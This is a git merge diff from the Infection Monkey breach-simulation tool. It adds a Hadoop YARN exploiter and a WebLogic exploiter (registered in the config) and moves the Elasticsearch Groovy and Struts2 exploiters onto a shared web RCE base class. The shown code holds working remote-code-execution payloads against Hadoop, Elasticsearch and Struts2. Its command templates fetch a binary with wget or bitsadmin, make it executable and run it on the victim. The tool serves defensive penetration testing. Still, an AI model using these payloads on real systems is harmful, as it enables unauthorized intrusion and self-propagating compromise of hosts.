Merge branch 'develop' into nadler/pth

# Conflicts:
#	infection_monkey/system_info/windows_info_collector.py
#	monkey_island/cc/services/report.py
#	monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js
#	monkey_island/cc/ui/src/components/pages/ReportPage.js

infection_monkey/config.py

@@ -7,7 +7,7 @@ from abc import ABCMeta
 from itertools import product
 
 from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \
-    SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter
+    SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter, HadoopExploiter
 from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \
     MSSQLFinger
 
@@ -149,7 +149,7 @@ class Configuration(object):
     finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger]
     exploiter_classes = [SmbExploiter, WmiExploiter,  # Windows exploits
                          SSHExploiter, ShellShockExploiter, SambaCryExploiter,  # Linux
-                         ElasticGroovyExploiter, Struts2Exploiter  # multi
+                         ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter, HadoopExploiter  # multi
                          ]
 
     # how many victims to look for in a single scan iteration
@@ -186,12 +186,14 @@ class Configuration(object):
     local_network_scan = True
 
     subnet_scan_list = []
+    inaccessible_subnets = []
 
     blocked_ips = []
 
     # TCP Scanner
     HTTP_PORTS = [80, 8080, 443,
-                  8008,  # HTTP alternate
+                  8008, # HTTP alternate
+                  7001  # Oracle Weblogic default server port
                   ]
     tcp_target_ports = [22,
                         2222,
@@ -273,13 +275,12 @@ class Configuration(object):
 
     # system info collection
     collect_system_info = True
+    should_use_mimikatz = True
 
     ###########################
     # systeminfo config
     ###########################
 
-    mimikatz_dll_name = "mk.dll"
-
     extract_azure_creds = True
 
 

infection_monkey/example.conf

@@ -10,6 +10,7 @@
     "subnet_scan_list": [
         
     ],
+    "inaccessible_subnets": [],
     "blocked_ips": [],
     "current_server": "192.0.2.0:5000",
     "alive": true,
@@ -37,7 +38,9 @@
         "ShellShockExploiter",
         "ElasticGroovyExploiter",
         "SambaCryExploiter",
-        "Struts2Exploiter"
+        "Struts2Exploiter",
+        "WebLogicExploiter",
+        "HadoopExploiter"
     ],
     "finger_classes": [
         "SSHFinger",
@@ -87,7 +90,8 @@
         443,
         3306,
         8008,
-        9200
+        9200,
+        7001
     ],
     "timeout_between_iterations": 10,
     "use_file_logging": true,

infection_monkey/exploit/__init__.py

@@ -42,3 +42,5 @@ from shellshock import ShellShockExploiter
 from sambacry import SambaCryExploiter
 from elasticgroovy import ElasticGroovyExploiter
 from struts2 import Struts2Exploiter
+from weblogic import WebLogicExploiter
+from hadoop import HadoopExploiter

infection_monkey/exploit/elasticgroovy.py

@@ -6,225 +6,52 @@
 
 import json
 import logging
-
 import requests
+from exploit.web_rce import WebRCE
+from model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP
+from network.elasticfinger import ES_PORT, ES_SERVICE
 
-from exploit import HostExploiter
-from model import DROPPER_ARG
-from network.elasticfinger import ES_SERVICE, ES_PORT
-from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth
+import re
 
-__author__ = 'danielg'
+__author__ = 'danielg, VakarisZ'
 
 LOG = logging.getLogger(__name__)
 
 
-class ElasticGroovyExploiter(HostExploiter):
+class ElasticGroovyExploiter(WebRCE):
     # attack URLs
-    BASE_URL = 'http://%s:%s/_search?pretty'
     MONKEY_RESULT_FIELD = "monkey_result"
     GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD
-    JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")'
-    JAVA_GET_TMP_DIR = \
-        GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")'
-    JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")'
     JAVA_CMD = GENERIC_QUERY \
                % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
-    JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m'
-
-    DOWNLOAD_TIMEOUT = 300  # copied from rdpgrinder
 
     _TARGET_OS_TYPE = ['linux', 'windows']
 
     def __init__(self, host):
         super(ElasticGroovyExploiter, self).__init__(host)
-        self._config = __import__('config').WormConfiguration
-        self.skip_exist = self._config.skip_exploit_if_file_exist
 
-    def is_os_supported(self):
-        """
-        Checks if the host is vulnerable.
-        Either using version string or by trying to attack
-        :return:
-        """
-        if not super(ElasticGroovyExploiter, self).is_os_supported():
-            return False
+    def get_exploit_config(self):
+        exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config()
+        exploit_config['dropper'] = True
+        exploit_config['url_extensions'] = ['_search?pretty']
+        exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': RDP_CMDLINE_HTTP}
+        return exploit_config
 
-        if ES_SERVICE not in self.host.services:
-            LOG.info("Host: %s doesn't have ES open" % self.host.ip_addr)
-            return False
-        major, minor, build = self.host.services[ES_SERVICE]['version'].split('.')
-        major = int(major)
-        minor = int(minor)
-        build = int(build)
-        if major > 1:
-            return False
-        if major == 1 and minor > 4:
-            return False
-        if major == 1 and minor == 4 and build > 2:
-            return False
-        return self.is_vulnerable()
+    def get_open_service_ports(self, port_list, names):
+        # We must append elastic port we get from elastic fingerprint module because It's not marked as 'http' service
+        valid_ports = super(ElasticGroovyExploiter, self).get_open_service_ports(port_list, names)
+        if ES_SERVICE in self.host.services:
+            valid_ports.append([ES_PORT, False])
+        return valid_ports
 
-    def exploit_host(self):
-        real_host_os = self.get_host_os()
-        self.host.os['type'] = str(real_host_os.lower())  # strip unicode characters
-        if 'linux' in self.host.os['type']:
-            return self.exploit_host_linux()
-        else:
-            return self.exploit_host_windows()
-
-    def exploit_host_windows(self):
-        """
-        TODO
-        Will exploit windows similar to smbexec
-        :return:
-        """
-        return False
-
-    def exploit_host_linux(self):
-        """
-        Exploits linux using similar flow to sshexec and shellshock.
-        Meaning run remote commands to copy files over HTTP
-        :return:
-        """
-        uname_machine = str(self.get_linux_arch())
-        if len(uname_machine) != 0:
-            self.host.os['machine'] = str(uname_machine.lower().strip())  # strip unicode characters
-        dropper_target_path_linux = self._config.dropper_target_path_linux
-        if self.skip_exist and (self.check_if_remote_file_exists_linux(dropper_target_path_linux)):
-            LOG.info("Host %s was already infected under the current configuration, done" % self.host)
-            return True  # return already infected
-        src_path = get_target_monkey(self.host)
-        if not src_path:
-            LOG.info("Can't find suitable monkey executable for host %r", self.host)
-            return False
-
-        if not self.download_file_in_linux(src_path, target_path=dropper_target_path_linux):
-            return False
-
-        self.set_file_executable_linux(dropper_target_path_linux)
-        self.run_monkey_linux(dropper_target_path_linux)
-
-        if not (self.check_if_remote_file_exists_linux(self._config.monkey_log_path_linux)):
-            LOG.info("Log file does not exist, monkey might not have run")
-
-        return True
-
-    def run_monkey_linux(self, dropper_target_path_linux):
-        """
-        Runs the monkey
-        """
-
-        cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
-        cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1, location=dropper_target_path_linux)
-        cmdline += ' & '
-        self.run_shell_command(cmdline)
-        LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
-                 self._config.dropper_target_path_linux, self.host, cmdline)
-        if not (self.check_if_remote_file_exists_linux(self._config.dropper_log_path_linux)):
-            LOG.info("Log file does not exist, monkey might not have run")
-
-    def download_file_in_linux(self, src_path, target_path):
-        """
-        Downloads a file in target machine using curl to the given target path
-        :param src_path: File path relative to the monkey
-        :param target_path:  Target path in linux victim
-        :return: T/F
-        """
-        http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
-        if not http_path:
-            LOG.debug("Exploiter %s failed, http transfer creation failed." % self.__name__)
-            return False
-        download_command = '/usr/bin/curl %s -o %s' % (
-            http_path, target_path)
-        self.run_shell_command(download_command)
-        http_thread.join(self.DOWNLOAD_TIMEOUT)
-        http_thread.stop()
-        if (http_thread.downloads != 1) or (
-                'ELF' not in
-                self.check_if_remote_file_exists_linux(target_path)):
-            LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
-            return False
-        return True
-
-    def set_file_executable_linux(self, file_path):
-        """
-        Marks the given file as executable using chmod
-        :return:  Nothing
-        """
-        chmod = '/bin/chmod +x %s' % file_path
-        self.run_shell_command(chmod)
-        LOG.info("Marked file %s on host %s as executable", file_path, self.host)
-
-    def check_if_remote_file_exists_linux(self, file_path):
-        """
-        :return:
-        """
-        cmdline = '/usr/bin/head -c 4 %s' % file_path
-        return self.run_shell_command(cmdline)
-
-    def run_shell_command(self, command):
-        """
-        Runs a single shell command and returns the result.
-        """
+    def exploit(self, url, command):
+        command = re.sub(r"\\", r"\\\\\\\\", command)
         payload = self.JAVA_CMD % command
-        result = self.get_command_result(payload)
-        LOG.info("Ran the command %s on host %s", command, self.host)
-        return result
-
-    def get_linux_arch(self):
-        """
-        Returns host as per uname -m
-        """
-        return self.get_command_result(self.JAVA_GET_BIT_LINUX)
-
-    def get_host_tempdir(self):
-        """
-        Returns where to write our file given our permissions
-        :return: Temp directory path in target host
-        """
-        return self.get_command_result(self.JAVA_GET_TMP_DIR)
-
-    def get_host_os(self):
-        """
-        :return: target OS
-        """
-        return self.get_command_result(self.JAVA_GET_OS)
-
-    def is_vulnerable(self):
-        """
-        Checks if a given elasticsearch host is vulnerable to the groovy attack
-        :return: True/False
-        """
-        result_text = self.get_command_result(self.JAVA_IS_VULNERABLE)
-        return 'java.lang.Runtime' in result_text
-
-    def get_command_result(self, payload):
-        """
-        Gets the result of an attack payload with a single return value.
-        :param payload: Payload that fits the GENERIC_QUERY template.
-        """
-        result = self.attack_query(payload)
-        if not result:  # not vulnerable
-            return ""
-        return result[0]
-
-    def attack_query(self, payload):
-        """
-        Wraps the requests query and the JSON parsing.
-        Just reduce opportunity for bugs
-        :return: List of data fields or None
-        """
-        response = requests.get(self.attack_url(), data=payload)
+        response = requests.get(url, data=payload)
         result = self.get_results(response)
-        return result
-
-    def attack_url(self):
-        """
-        Composes the URL to attack per host IP and port.
-        :return: Elasticsearch vulnerable URL
-        """
-        return self.BASE_URL % (self.host.ip_addr, ES_PORT)
+        if not result:
+            return False
+        return result[0]
 
     def get_results(self, response):
         """

infection_monkey/exploit/hadoop.py

@@ -0,0 +1,100 @@
+"""
+    Remote code execution on HADOOP server with YARN and default settings
+    Implementation is based on code from https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn
+"""
+
+import requests
+import json
+import random
+import string
+import logging
+from exploit.web_rce import WebRCE
+from tools import HTTPTools, build_monkey_commandline, get_monkey_depth
+import posixpath
+from model import MONKEY_ARG, ID_STRING
+
+__author__ = 'VakarisZ'
+
+LOG = logging.getLogger(__name__)
+
+
+class HadoopExploiter(WebRCE):
+    _TARGET_OS_TYPE = ['linux', 'windows']
+    HADOOP_PORTS = [["8088", False]]
+
+    # We need to prevent from downloading if monkey already exists because hadoop uses multiple threads/nodes
+    # to download monkey at the same time
+    LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \
+                    "&& wget -O %(monkey_path)s %(http_path)s " \
+                    "; chmod +x %(monkey_path)s " \
+                    "&&  %(monkey_path)s %(monkey_type)s %(parameters)s"
+    WINDOWS_COMMAND = "cmd /c if NOT exist %(monkey_path)s bitsadmin /transfer" \
+                      " Update /download /priority high %(http_path)s %(monkey_path)s " \
+                      "& %(monkey_path)s %(monkey_type)s %(parameters)s"
+    # How long we have our http server open for downloads in seconds
+    DOWNLOAD_TIMEOUT = 60
+    # Random string's length that's used for creating unique app name
+    RAN_STR_LEN = 6
+
+    def __init__(self, host):
+        super(HadoopExploiter, self).__init__(host)
+
+    def exploit_host(self):
+        # Try to get exploitable url
+        urls = self.build_potential_urls(self.HADOOP_PORTS)
+        self.add_vulnerable_urls(urls, True)
+        if not self.vulnerable_urls:
+            return False
+        paths = self.get_monkey_paths()
+        if not paths:
+            return False
+        http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths['src_path'])
+        command = self.build_command(paths['dest_path'], http_path)
+        if not self.exploit(self.vulnerable_urls[0], command):
+            return False
+        http_thread.join(self.DOWNLOAD_TIMEOUT)
+        http_thread.stop()
+        return True
+
+    def exploit(self, url, command):
+        # Get the newly created application id
+        resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application"))
+        resp = json.loads(resp.content)
+        app_id = resp['application-id']
+        # Create a random name for our application in YARN
+        rand_name = ID_STRING + "".join([random.choice(string.ascii_lowercase) for _ in xrange(self.RAN_STR_LEN)])
+        payload = self.build_payload(app_id, rand_name, command)
+        resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload)
+        return resp.status_code == 202
+
+    def check_if_exploitable(self, url):
+        try:
+            resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application"))
+        except requests.ConnectionError:
+            return False
+        return resp.status_code == 200
+
+    def build_command(self, path, http_path):
+        # Build command to execute
+        monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
+        if 'linux' in self.host.os['type']:
+            base_command = self.LINUX_COMMAND
+        else:
+            base_command = self.WINDOWS_COMMAND
+
+        return base_command % {"monkey_path": path, "http_path": http_path,
+                               "monkey_type": MONKEY_ARG, "parameters": monkey_cmd}
+
+    @staticmethod
+    def build_payload(app_id, name, command):
+        payload = {
+            "application-id": app_id,
+            "application-name": name,
+            "am-container-spec": {
+                "commands": {
+                    "command": command,
+                }
+            },
+            "application-type": "YARN"
+        }
+        return payload

infection_monkey/exploit/sambacry.py

@@ -19,7 +19,8 @@ import monkeyfs
 from exploit import HostExploiter
 from model import DROPPER_ARG
 from network.smbfinger import SMB_SERVICE
-from tools import build_monkey_commandline, get_target_monkey_by_os, get_binaries_dir_path, get_monkey_depth
+from tools import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth
+from pyinstaller_utils import get_binary_file_path
 
 __author__ = 'itay.mizeretz'
 
@@ -306,9 +307,9 @@ class SambaCryExploiter(HostExploiter):
 
     def get_monkey_runner_bin_file(self, is_32bit):
         if is_32bit:
-            return open(path.join(get_binaries_dir_path(), self.SAMBACRY_RUNNER_FILENAME_32), "rb")
+            return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_32), "rb")
         else:
-            return open(path.join(get_binaries_dir_path(), self.SAMBACRY_RUNNER_FILENAME_64), "rb")
+            return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_64), "rb")
 
     def get_monkey_commandline_file(self, location):
         return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host, get_monkey_depth() - 1, location))

infection_monkey/exploit/struts2.py

@@ -9,11 +9,7 @@ import unicodedata
 import re
 
 import logging
-from exploit import HostExploiter
-from exploit.tools import get_target_monkey, get_monkey_depth
-from tools import build_monkey_commandline, HTTPTools
-from model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, RDP_CMDLINE_HTTP, \
-                  DROPPER_ARG
+from web_rce import WebRCE
 
 __author__ = "VakarisZ"
 
@@ -21,163 +17,29 @@ LOG = logging.getLogger(__name__)
 
 DOWNLOAD_TIMEOUT = 300
 
-class Struts2Exploiter(HostExploiter):
+
+class Struts2Exploiter(WebRCE):
     _TARGET_OS_TYPE = ['linux', 'windows']
 
     def __init__(self, host):
-        super(Struts2Exploiter, self).__init__(host)
-        self._config = __import__('config').WormConfiguration
-        self.skip_exist = self._config.skip_exploit_if_file_exist
-        self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
+        super(Struts2Exploiter, self).__init__(host, None)
 
-    def exploit_host(self):
-        dropper_path_linux = self._config.dropper_target_path_linux
-        dropper_path_win_32 = self._config.dropper_target_path_win_32
-        dropper_path_win_64 = self._config.dropper_target_path_win_64
+    def get_exploit_config(self):
+        exploit_config = super(Struts2Exploiter, self).get_exploit_config()
+        exploit_config['dropper'] = True
+        return exploit_config
 
-        ports = self.get_exploitable_ports(self.host, self.HTTP, ["http"])
-
-        if not ports:
-            LOG.info("All web ports are closed on %r, skipping", self.host)
-            return False
-
-        for port in ports:
-            if port[1]:
-                current_host = "https://%s:%s" % (self.host.ip_addr, port[0])
-            else:
-                current_host = "http://%s:%s" % (self.host.ip_addr, port[0])
-            # Get full URL
-            url = self.get_redirected(current_host)
-            LOG.info("Trying to exploit with struts2")
-            # Check if host is vulnerable and get host os architecture
-            if 'linux' in self.host.os['type']:
-                return self.exploit_linux(url, dropper_path_linux)
-            else:
-                return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64])
-
-    def check_remote_file(self, host, path):
-        command = EXISTS % path
-        resp = self.exploit(host, command)
-        if 'No such file' in resp:
-            return False
-        else:
-            LOG.info("Host %s was already infected under the current configuration, done" % self.host)
-            return True
-
-    def exploit_linux(self, url, dropper_path):
-        host_arch = Struts2Exploiter.check_exploit_linux(url)
-        if host_arch:
-            self.host.os['machine'] = host_arch
-        if url and host_arch:
-            LOG.info("Host is exploitable with struts2 RCE vulnerability")
-            # If monkey already exists and option not to exploit in that case is selected
-            if self.skip_exist and self.check_remote_file(url, dropper_path):
-                LOG.info("Host %s was already infected under the current configuration, done" % self.host)
-                return True
-
-            src_path = get_target_monkey(self.host)
-            if not src_path:
-                LOG.info("Can't find suitable monkey executable for host %r", self.host)
-                return False
-            # create server for http download.
-            http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
-            if not http_path:
-                LOG.debug("Exploiter Struts2 failed, http transfer creation failed.")
-                return False
-            LOG.info("Started http server on %s", http_path)
-
-            cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)
-
-            command = WGET_HTTP % {'monkey_path': dropper_path,
-                                   'http_path': http_path, 'parameters': cmdline}
-
-            self.exploit(url, command)
-
-            http_thread.join(DOWNLOAD_TIMEOUT)
-            http_thread.stop()
-            LOG.info("Struts2 exploit attempt finished")
-
-            return True
-
-        return False
-
-    def exploit_windows(self, url, dropper_paths):
+    def build_potential_urls(self, ports, extensions=None):
         """
-        :param url: Where to send malicious request
-        :param dropper_paths: [0]-monkey-windows-32.bat, [1]-monkey-windows-64.bat
-        :return: Bool. Successfully exploited or not
+        We need to override this method to get redirected url's
+        :param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)]
+        Eg. ports: [[80, False], [443, True]]
+        :param extensions: What subdirectories to scan. www.domain.com[/extension]
+        :return: Array of url's to try and attack
         """
-        host_arch = Struts2Exploiter.check_exploit_windows(url)
-        if host_arch:
-            self.host.os['machine'] = host_arch
-        if url and host_arch:
-            LOG.info("Host is exploitable with struts2 RCE vulnerability")
-            # If monkey already exists and option not to exploit in that case is selected
-            if self.skip_exist:
-                for dropper_path in dropper_paths:
-                    if self.check_remote_file(url, re.sub(r"\\", r"\\\\", dropper_path)):
-                        LOG.info("Host %s was already infected under the current configuration, done" % self.host)
-                        return True
-
-            src_path = get_target_monkey(self.host)
-            if not src_path:
-                LOG.info("Can't find suitable monkey executable for host %r", self.host)
-                return False
-            # Select the dir and name for monkey on the host
-            if "windows-32" in src_path:
-                dropper_path = dropper_paths[0]
-            else:
-                dropper_path = dropper_paths[1]
-            # create server for http download.
-            http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
-            if not http_path:
-                LOG.debug("Exploiter Struts2 failed, http transfer creation failed.")
-                return False
-            LOG.info("Started http server on %s", http_path)
-
-            # We need to double escape backslashes. Once for payload, twice for command
-            cmdline = re.sub(r"\\", r"\\\\", build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path))
-
-            command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
-                                         'http_path': http_path, 'parameters': cmdline}
-
-            backup_command = RDP_CMDLINE_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
-                                                 'http_path': http_path, 'parameters': cmdline, 'type': DROPPER_ARG}
-
-            resp = self.exploit(url, command)
-
-            if 'powershell is not recognized' in resp:
-                self.exploit(url, backup_command)
-
-            http_thread.join(DOWNLOAD_TIMEOUT)
-            http_thread.stop()
-            LOG.info("Struts2 exploit attempt finished")
-
-            return True
-
-        return False
-
-    @staticmethod
-    def check_exploit_windows(url):
-        resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS)
-        if resp and ID_STRING in resp:
-            if "64-bit" in resp:
-                return "64"
-            else:
-                return "32"
-        else:
-            return False
-
-    @staticmethod
-    def check_exploit_linux(url):
-        resp = Struts2Exploiter.exploit(url, CHECK_LINUX)
-        if resp and ID_STRING in resp:
-            # Pulls architecture string
-            arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
-            arch = arch.group(1)
-            return arch
-        else:
-            return False
+        url_list = super(Struts2Exploiter, self).build_potential_urls(ports)
+        url_list = [self.get_redirected(url) for url in url_list]
+        return url_list
 
     @staticmethod
     def get_redirected(url):
@@ -190,13 +52,14 @@ class Struts2Exploiter(HostExploiter):
             LOG.error("Can't reach struts2 server")
             return False
 
-    @staticmethod
-    def exploit(url, cmd):
+    def exploit(self, url, cmd):
         """
         :param url: Full url to send request to
         :param cmd: Code to try and execute on host
         :return: response
         """
+        cmd = re.sub(r"\\", r"\\\\", cmd)
+        cmd = re.sub(r"'", r"\\'", cmd)
         payload = "%%{(#_='multipart/form-data')." \
                   "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \
                   "(#_memberAccess?" \
@@ -229,18 +92,3 @@ class Struts2Exploiter(HostExploiter):
             page = e.partial
 
         return page
-
-    @staticmethod
-    def get_exploitable_ports(host, port_list, names):
-        candidate_services = {}
-        for name in names:
-            chosen_services = {
-                service: host.services[service] for service in host.services if
-                ('name' in host.services[service]) and (host.services[service]['name'] == name)
-            }
-            candidate_services.update(chosen_services)
-
-        valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if
-                       'tcp-' + str(port) in candidate_services]
-
-        return valid_ports

infection_monkey/exploit/tools.py

@@ -21,7 +21,8 @@ import monkeyfs
 from network import local_ips
 from network.firewall import app as firewall
 from network.info import get_free_tcp_port, get_routes
-from transport import HTTPServer
+from transport import HTTPServer, LockedHTTPServer
+from threading import Lock
 
 
 class DceRpcException(Exception):
@@ -386,6 +387,33 @@ class HTTPTools(object):
 
         return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
 
+    @staticmethod
+    def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
+        """
+        Create http server for file transfer with a lock
+        :param host: Variable with target's information
+        :param src_path: Monkey's path on current system
+        :param local_ip: IP where to host server
+        :param local_port: Port at which to host monkey's download
+        :return: Server address in http://%s:%s/%s format and LockedHTTPServer handler
+        """
+        # To avoid race conditions we pass a locked lock to http servers thread
+        lock = Lock()
+        lock.acquire()
+        if not local_port:
+            local_port = get_free_tcp_port()
+
+        if not local_ip:
+            local_ip = get_interface_to_target(host.ip_addr)
+
+        if not firewall.listen_allowed():
+            return None, None
+
+        httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
+        httpd.start()
+        lock.acquire()
+        return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
+
 
 def get_interface_to_target(dst):
     if sys.platform == "win32":
@@ -471,13 +499,33 @@ def build_monkey_commandline(target_host, depth, location=None):
         GUID, target_host.default_tunnel, target_host.default_server, depth, location)
 
 
-def get_binaries_dir_path():
-    if getattr(sys, 'frozen', False):
-        return sys._MEIPASS
-    else:
-        return os.path.dirname(os.path.abspath(__file__))
-
-
 def get_monkey_depth():
     from config import WormConfiguration
     return WormConfiguration.depth
+
+
+def get_monkey_dest_path(url_to_monkey):
+    """
+    Gets destination path from monkey's source url.
+    :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
+    :return: Corresponding monkey path from configuration
+    """
+    from config import WormConfiguration
+    if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey):
+        LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
+        return False
+    try:
+        if 'linux' in url_to_monkey:
+            return WormConfiguration.dropper_target_path_linux
+        elif 'windows-32' in url_to_monkey:
+            return WormConfiguration.dropper_target_path_win_32
+        elif 'windows-64' in url_to_monkey:
+            return WormConfiguration.dropper_target_path_win_64
+        else:
+            LOG.error("Could not figure out what type of monkey server was trying to upload, "
+                      "thus destination path can not be chosen.")
+            return False
+    except AttributeError:
+        LOG.error("Seems like monkey's source configuration property names changed. "
+                  "Can not get destination path to upload monkey")
+        return False

infection_monkey/exploit/web_rce.py

@@ -0,0 +1,475 @@
+import logging
+
+from exploit import HostExploiter
+from model import *
+from posixpath import join
+import re
+from abc import abstractmethod
+from exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools
+from network.tools import check_tcp_port, tcp_port_to_service
+
+__author__ = 'VakarisZ'
+
+LOG = logging.getLogger(__name__)
+# Command used to check if monkeys already exists
+LOOK_FOR_FILE = "ls %s"
+POWERSHELL_NOT_FOUND = "owershell is not recognized"
+# Constants used to refer to windows architectures( used in host.os['machine'])
+WIN_ARCH_32 = "32"
+WIN_ARCH_64 = "64"
+
+
+class WebRCE(HostExploiter):
+
+    def __init__(self, host, monkey_target_paths=None):
+        """
+        :param host: Host that we'll attack
+        :param monkey_target_paths: Where to upload the monkey at the target host system.
+        Dict in format {'linux': '/tmp/monkey.sh', 'win32': './monkey32.exe', 'win64':... }
+        """
+        super(WebRCE, self).__init__(host)
+        self._config = __import__('config').WormConfiguration
+        if monkey_target_paths:
+            self.monkey_target_paths = monkey_target_paths
+        else:
+            self.monkey_target_paths = {'linux': self._config.dropper_target_path_linux,
+                                        'win32': self._config.dropper_target_path_win_32,
+                                        'win64': self._config.dropper_target_path_win_64}
+        self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
+        self.skip_exist = self._config.skip_exploit_if_file_exist
+        self.vulnerable_urls = []
+
+    def get_exploit_config(self):
+        """
+        Method that creates a dictionary of configuration values for exploit
+        :return: configuration dict
+        """
+        exploit_config = dict()
+
+        # dropper: If true monkey will use dropper parameter that will detach monkey's process and try to copy
+        # it's file to the default destination path.
+        exploit_config['dropper'] = False
+
+        # upload_commands: Unformatted dict with one or two commands {'linux': WGET_HTTP_UPLOAD,'windows': WIN_CMD}
+        # Command must have "monkey_path" and "http_path" format parameters. If None defaults will be used.
+        exploit_config['upload_commands'] = None
+
+        # url_extensions: What subdirectories to scan (www.domain.com[/extension]). Eg. ["home", "index.php"]
+        exploit_config['url_extensions'] = None
+
+        # stop_checking_urls: If true it will stop checking vulnerable urls once one was found vulnerable.
+        exploit_config['stop_checking_urls'] = False
+
+        # blind_exploit: If true we won't check if file exist and won't try to get the architecture of target.
+        exploit_config['blind_exploit'] = False
+
+        return exploit_config
+
+    def exploit_host(self):
+        """
+        Method that contains default exploitation workflow
+        :return: True if exploited, False otherwise
+        """
+        # We get exploit configuration
+        exploit_config = self.get_exploit_config()
+        # Get open ports
+        ports = self.get_ports_w(self.HTTP, ["http"])
+        if not ports:
+            return False
+        # Get urls to try to exploit
+        urls = self.build_potential_urls(ports, exploit_config['url_extensions'])
+        self.add_vulnerable_urls(urls, exploit_config['stop_checking_urls'])
+
+        if not self.vulnerable_urls:
+            return False
+
+        # Skip if monkey already exists and this option is given
+        if not exploit_config['blind_exploit'] and self.skip_exist and self.check_remote_files(self.vulnerable_urls[0]):
+            LOG.info("Host %s was already infected under the current configuration, done" % self.host)
+            return True
+
+        # Check for targets architecture (if it's 32 or 64 bit)
+        if not exploit_config['blind_exploit'] and not self.set_host_arch(self.vulnerable_urls[0]):
+            return False
+
+        # Upload the right monkey to target
+        data = self.upload_monkey(self.vulnerable_urls[0], exploit_config['upload_commands'])
+
+        if data is not False and data['response'] is False:
+            return False
+
+        # Change permissions to transform monkey into executable file
+        if self.change_permissions(self.vulnerable_urls[0], data['path']) is False:
+            return False
+
+        # Execute remote monkey
+        if self.execute_remote_monkey(self.vulnerable_urls[0], data['path'], exploit_config['dropper']) is False:
+            return False
+
+        return True
+
+    @abstractmethod
+    def exploit(self, url, command):
+        """
+        A reference to a method which implements web exploit logic.
+        :param url: Url to send malicious packet to. Format: [http/https]://ip:port/extension.
+        :param command: Command which will be executed on remote host
+        :return: RCE's output/True if successful or False if failed
+        """
+        raise NotImplementedError()
+
+    def get_open_service_ports(self, port_list, names):
+        """
+        :param port_list: Potential ports to exploit. For example _config.HTTP_PORTS
+        :param names: [] of service names. Example: ["http"]
+        :return: Returns all open ports from port list that are of service names
+        """
+        candidate_services = {}
+        candidate_services.update({
+            service: self.host.services[service] for service in self.host.services if
+            (self.host.services[service] and self.host.services[service]['name'] in names)
+        })
+
+        valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if
+                       tcp_port_to_service(port) in candidate_services]
+
+        return valid_ports
+
+    def check_if_port_open(self, port):
+        is_open, _ = check_tcp_port(self.host.ip_addr, port)
+        if not is_open:
+            LOG.info("Port %d is closed on %r, skipping", port, self.host)
+            return False
+        return True
+
+    def get_command(self, path, http_path, commands):
+        try:
+            if 'linux' in self.host.os['type']:
+                command = commands['linux']
+            else:
+                command = commands['windows']
+            # Format command
+            command = command % {'monkey_path': path, 'http_path': http_path}
+        except KeyError:
+            LOG.error("Provided command is missing/bad for this type of host! "
+                      "Check upload_monkey function docs before using custom monkey's upload commands.")
+            return False
+        return command
+
